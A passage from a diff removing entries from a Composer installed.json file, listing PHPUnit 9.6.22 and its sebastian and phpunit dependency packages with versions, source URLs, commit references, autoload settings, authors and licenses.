suffixes.", - "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", - "keywords": [ - "filesystem", - "iterator" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", - "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../phpunit/php-file-iterator" - }, - { - "name": "phpunit/php-invoker", - "version": "3.1.1", - "version_normalized": "3.1.1.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-invoker.git", - "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", - "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "ext-pcntl": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-pcntl": "*" - }, - "time": "2020-09-28T05:58:55+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Invoke callables with a timeout", - "homepage": "https://github.com/sebastianbergmann/php-invoker/", - "keywords": [ - "process" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-invoker/issues", - "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../phpunit/php-invoker" - }, - { - "name": "phpunit/php-text-template", - "version": "2.0.4", - "version_normalized": "2.0.4.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-text-template.git", - "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", - "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2020-10-26T05:33:50+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Simple template engine.", - "homepage": "https://github.com/sebastianbergmann/php-text-template/", - "keywords": [ - "template" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-text-template/issues", - "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../phpunit/php-text-template" - }, - { - "name": "phpunit/php-timer", - "version": "5.0.3", - "version_normalized": "5.0.3.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-timer.git", - "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", - "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2020-10-26T13:16:10+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Utility class for timing", - "homepage": "https://github.com/sebastianbergmann/php-timer/", - "keywords": [ - "timer" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-timer/issues", - "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../phpunit/php-timer" - }, - { - "name": "phpunit/phpunit", - "version": "9.6.22", - "version_normalized": "9.6.22.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "f80235cb4d3caa59ae09be3adf1ded27521d1a9c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/f80235cb4d3caa59ae09be3adf1ded27521d1a9c", - "reference": "f80235cb4d3caa59ae09be3adf1ded27521d1a9c", - "shasum": "" - }, - "require": { - "doctrine/instantiator": "^1.5.0 || ^2", - "ext-dom": "*", - "ext-json": "*", - "ext-libxml": "*", - "ext-mbstring": "*", - "ext-xml": "*", - "ext-xmlwriter": "*", - "myclabs/deep-copy": "^1.12.1", - "phar-io/manifest": "^2.0.4", - "phar-io/version": "^3.2.1", - "php": ">=7.3", - "phpunit/php-code-coverage": "^9.2.32", - "phpunit/php-file-iterator": "^3.0.6", - "phpunit/php-invoker": "^3.1.1", - "phpunit/php-text-template": "^2.0.4", - "phpunit/php-timer": "^5.0.3", - "sebastian/cli-parser": "^1.0.2", - "sebastian/code-unit": "^1.0.8", - "sebastian/comparator": "^4.0.8", - "sebastian/diff": "^4.0.6", - "sebastian/environment": "^5.1.5", - "sebastian/exporter": "^4.0.6", - "sebastian/global-state": "^5.0.7", - "sebastian/object-enumerator": "^4.0.4", - "sebastian/resource-operations": "^3.0.4", - "sebastian/type": "^3.2.1", - "sebastian/version": "^3.0.2" - }, - "suggest": { - "ext-soap": "To be able to generate mocks based on WSDL files", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "time": "2024-12-05T13:48:26+00:00", - "bin": [ - "phpunit" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "9.6-dev" - } - }, - "installation-source": "dist", - "autoload": { - "files": [ - "src/Framework/Assert/Functions.php" - ], - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "The PHP Unit Testing framework.", - "homepage": "https://phpunit.de/", - "keywords": [ - "phpunit", - "testing", - "xunit" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/phpunit/issues", - "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.22" - }, - "funding": [ - { - "url": "https://phpunit.de/sponsors.html", - "type": "custom" - }, - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", - "type": "tidelift" - } - ], - "install-path": "../phpunit/phpunit" - }, - { - "name": "sebastian/cli-parser", - "version": "1.0.2", - "version_normalized": "1.0.2.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/cli-parser.git", - "reference": "2b56bea83a09de3ac06bb18b92f068e60cc6f50b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/2b56bea83a09de3ac06bb18b92f068e60cc6f50b", - "reference": "2b56bea83a09de3ac06bb18b92f068e60cc6f50b", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2024-03-02T06:27:43+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for parsing CLI options", - "homepage": "https://github.com/sebastianbergmann/cli-parser", - "support": { - "issues": "https://github.com/sebastianbergmann/cli-parser/issues", - "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.2" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/cli-parser" - }, - { - "name": "sebastian/code-unit", - "version": "1.0.8", - "version_normalized": "1.0.8.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit.git", - "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", - "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2020-10-26T13:08:54+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the PHP code units", - "homepage": "https://github.com/sebastianbergmann/code-unit", - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit/issues", - "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/code-unit" - }, - { - "name": "sebastian/code-unit-reverse-lookup", - "version": "2.0.3", - "version_normalized": "2.0.3.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", - "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", - "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2020-09-28T05:30:19+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Looks up which function or method a line of code belongs to", - "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", - "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/code-unit-reverse-lookup" - }, - { - "name": "sebastian/comparator", - "version": "4.0.8", - "version_normalized": "4.0.8.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/comparator.git", - "reference": "fa0f136dd2334583309d32b62544682ee972b51a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", - "reference": "fa0f136dd2334583309d32b62544682ee972b51a", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/diff": "^4.0", - "sebastian/exporter": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2022-09-14T12:41:17+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - } - ], - "description": "Provides the functionality to compare PHP values for equality", - "homepage": "https://github.com/sebastianbergmann/comparator", - "keywords": [ - "comparator", - "compare", - "equality" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/comparator/issues", - "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/comparator" - }, - { - "name": "sebastian/complexity", - "version": "2.0.3", - "version_normalized": "2.0.3.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/complexity.git", - "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", - "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", - "shasum": "" - }, - "require": { - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2023-12-22T06:19:30+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for calculating the complexity of PHP code units", - "homepage": "https://github.com/sebastianbergmann/complexity", - "support": { - "issues": "https://github.com/sebastianbergmann/complexity/issues", - "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/complexity" - }, - { - "name": "sebastian/diff", - "version": "4.0.6", - "version_normalized": "4.0.6.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "ba01945089c3a293b01ba9badc29ad55b106b0bc" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/ba01945089c3a293b01ba9badc29ad55b106b0bc", - "reference": "ba01945089c3a293b01ba9badc29ad55b106b0bc", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3", - "symfony/process": "^4.2 || ^5" - }, - "time": "2024-03-02T06:30:58+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Kore Nordmann", - "email": "mail@kore-nordmann.de" - } - ], - "description": "Diff implementation", - "homepage": "https://github.com/sebastianbergmann/diff", - "keywords": [ - "diff", - "udiff", - "unidiff", - "unified diff" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/diff/issues", - "source": "https://github.com/sebastianbergmann/diff/tree/4.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/diff" - }, - { - "name": "sebastian/environment", - "version": "5.1.5", - "version_normalized": "5.1.5.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/environment.git", - "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", - "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-posix": "*" - }, - "time": "2023-02-03T06:03:51+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.1-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides functionality to handle HHVM/PHP environments", - "homepage": "http://www.github.com/sebastianbergmann/environment", - "keywords": [ - "Xdebug", - "environment", - "hhvm" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/environment/issues", - "source": "https://github.com/sebastianbergmann/environment/tree/5.1.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/environment" - }, - { - "name": "sebastian/exporter", - "version": "4.0.6", - "version_normalized": "4.0.6.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/exporter.git", - "reference": "78c00df8f170e02473b682df15bfcdacc3d32d72" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/78c00df8f170e02473b682df15bfcdacc3d32d72", - "reference": "78c00df8f170e02473b682df15bfcdacc3d32d72", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-mbstring": "*", - "phpunit/phpunit": "^9.3" - }, - "time": "2024-03-02T06:33:00+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@gmail.com" - } - ], - "description": "Provides the functionality to export PHP variables for visualization", - "homepage": "https://www.github.com/sebastianbergmann/exporter", - "keywords": [ - "export", - "exporter" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/exporter/issues", - "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/exporter" - }, - { - "name": "sebastian/global-state", - "version": "5.0.7", - "version_normalized": "5.0.7.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/global-state.git", - "reference": "bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9", - "reference": "bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-dom": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-uopz": "*" - }, - "time": "2024-03-02T06:35:11+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Snapshotting of global state", - "homepage": "http://www.github.com/sebastianbergmann/global-state", - "keywords": [ - "global state" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/global-state/issues", - "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.7" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/global-state" - }, - { - "name": "sebastian/lines-of-code", - "version": "1.0.4", - "version_normalized": "1.0.4.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/lines-of-code.git", - "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", - "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", - "shasum": "" - }, - "require": { - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2023-12-22T06:20:34+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for counting the lines of code in PHP source code", - "homepage": "https://github.com/sebastianbergmann/lines-of-code", - "support": { - "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", - "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/lines-of-code" - }, - { - "name": "sebastian/object-enumerator", - "version": "4.0.4", - "version_normalized": "4.0.4.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-enumerator.git", - "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", - "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2020-10-26T13:12:34+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Traverses array structures and object graphs to enumerate all referenced objects", - "homepage": "https://github.com/sebastianbergmann/object-enumerator/", - "support": { - "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", - "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/object-enumerator" - }, - { - "name": "sebastian/object-reflector", - "version": "2.0.4", - "version_normalized": "2.0.4.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-reflector.git", - "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", - "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2020-10-26T13:14:26+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Allows reflection of object attributes, including inherited and non-public ones", - "homepage": "https://github.com/sebastianbergmann/object-reflector/", - "support": { - "issues": "https://github.com/sebastianbergmann/object-reflector/issues", - "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/object-reflector" - }, - { - "name": "sebastian/recursion-context", - "version": "4.0.5", - "version_normalized": "4.0.5.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/recursion-context.git", - "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", - "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2023-02-03T06:07:39+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "description": "Provides functionality to recursively process PHP variables", - "homepage": "https://github.com/sebastianbergmann/recursion-context", - "support": { - "issues": "https://github.com/sebastianbergmann/recursion-context/issues", - "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/recursion-context" - }, - { - "name": "sebastian/resource-operations", - "version": "3.0.4", - "version_normalized": "3.0.4.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/resource-operations.git", - "reference": "05d5692a7993ecccd56a03e40cd7e5b09b1d404e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/05d5692a7993ecccd56a03e40cd7e5b09b1d404e", - "reference": "05d5692a7993ecccd56a03e40cd7e5b09b1d404e", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.0" - }, - "time": "2024-03-14T16:00:52+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "3.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides a list of PHP built-in functions that operate on resources", - "homepage": "https://www.github.com/sebastianbergmann/resource-operations", - "support": { - "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/resource-operations" - }, - { - "name": "sebastian/type", - "version": "3.2.1", - "version_normalized": "3.2.1.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/type.git", - "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", - "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.5" - }, - "time": "2023-02-03T06:13:03+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.2-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the types of the PHP type system", - "homepage": "https://github.com/sebastianbergmann/type", - "support": { - "issues": "https://github.com/sebastianbergmann/type/issues", - "source": "https://github.com/sebastianbergmann/type/tree/3.2.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/type" - }, - { - "name": "sebastian/version", - "version": "3.0.2", - "version_normalized": "3.0.2.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/version.git", - "reference": "c6c1022351a901512170118436c764e473f6de8c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", - "reference": "c6c1022351a901512170118436c764e473f6de8c", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "time": "2020-09-28T06:39:44+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that helps with managing the version number of Git-hosted PHP projects", - "homepage": "https://github.com/sebastianbergmann/version", - "support": { - "issues": "https://github.com/sebastianbergmann/version/issues", - "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" - }, - "funding": [ - { - "url": 